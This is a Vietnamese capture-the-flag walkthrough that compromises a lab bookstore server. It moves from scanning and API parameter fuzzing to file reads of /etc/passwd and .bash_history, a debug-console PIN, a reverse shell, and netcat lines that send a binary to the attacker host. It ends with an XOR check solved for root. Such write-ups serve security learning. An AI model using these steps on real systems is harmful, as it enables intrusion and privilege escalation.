Bước 1: Dò quét cổng dịch vụ
Sử dụng nmap kiểm tra cổng dịch vụ của victim
Ở đây mở 3 cổng 22,80,5000 trong đó 2 cổng chạy dịch vụ web là 80 và 5000
Bước 2: Kiểm tra thu thập thông tin website
Truy cập cổng 80
Một tiệm rất nhiều sách đúng như tên gọi, khi bấm mũi tên đi xuống bạn có thể thấy rất nhiều thông tin khác nhau có thể là tác giả viết sách
Ở góc trên bên phải một thanh menu
Trang Books
Trang Login
Kiểm tra mã nguồn phát hiện được phiên bản 3.0 tạo web này từ templated.co
Không có gì khác biệt cả, mình tiếp tục truy cập web trên port 5000 phát hiện phiên bản REST API là version 2
Mình thử dò quét các đường dẫn khác
gobuster
dir
-u http:
//ip_victim
:5000/ -w
/usr/share/dirb/wordlists/common
.txt -x txt,php,html,zip
Phát hiện một đường dẫn /api
Truy cập vào thấy một danh sách các được dẫn con khác
Mình truy cập thử từng đường dẫn
Đoạn này mình đổi id=1 bằng một số khác bất kỳ và trả về cho mình như sau
Nhận thấy không thu được thông tin gì hữu ích. Mình thử đổi api v2 sang api v1, sau đó thử fuzzing url kiểm tra lỗi RFI
wfuzz -u http://<ip>:5000/api/v1/resources/books?FUZZ=test -w /usr/share/wordlist/dirb/commont.txt –hc 404
Phát hiện show mình liền thử http://<ip>:5000/api/v1/resources/books?show=/etc/passwd
Thu được thông tin user, thấy có use sid
Mình thử truy vấn xem đọc được tệp id_rsa để truy cập ssh nhưng kết quả trả về lỗi
🙄
Mình để ý mấy dòng xanh này viết bằng python, mình click vào thấy một biểu tượng console cuối mình click vào nó yêu cầu mình nhập mã pin, vậy làm sao tìm ra mã pin đó 🙄 🙄
Mình tiếp tục dùng công cụ ffuf để thử tìm kiếm sau show mình có thể đọc được những tệp nào trong hệ thống
Phát hiện có .bash_history đây là nơi lưu trữ tập lệnh đã được thực thi, mình liên truy cập và thu được mã pin
Đem mã pin đó đi sử dụng thành công có một giao diện thực hiện lệnh python. Mình tìm đến trang reverse shell lấy mã để chạy
Đồng thời máy kali mình cũng mở port lắng nghe kết nối
Sau đó sẽ làm màn đọc cờ đầu.
Sau khi đọc xong cơ đầu bạn để ý có một tệp tin try-harder có thể chạy với quyền user root và group sid có được cài đặt SUID để user sid có thể chạy với đặc quyền của root mà không cần mật khẩu. Mình chạy thử xem sao và thấy nó hỏi một số ảo thuật nào đó ? 😈 😈 😈
Mình tải tệp tin đó về bằng nc
Trên victim: nc -w 3 ip_kali 4444 < try-harder
Trên kali: nc -lnvp 4444 > try-harder
Sau đó sử dụng công cụ ghydra để đọc tệp tin này, đến hàm chức năng funtion thấy ở đây nó thực hiện tính toán local_14
Khi nào
local_14 = local_1c ^ 0x1116 ^ local_18
0x5dcd21f4 = ? ^ 0x1116 ^ 0x5db3
Đây là tìm giá trị local_1c bằng bao nhiêu để tính ra local_14 và bạn có thể leo thang lên với quyền /bin/bash
Ở đây chương trình sử dụng phép xor để tính toán vậy nên mình dùng phép xor bằng python để tìm ra kết quả
Quay lại máy victim điền số này vào và thành công leo thang
Chùm cuối phần bạn nhé !!!! the end
0 Comments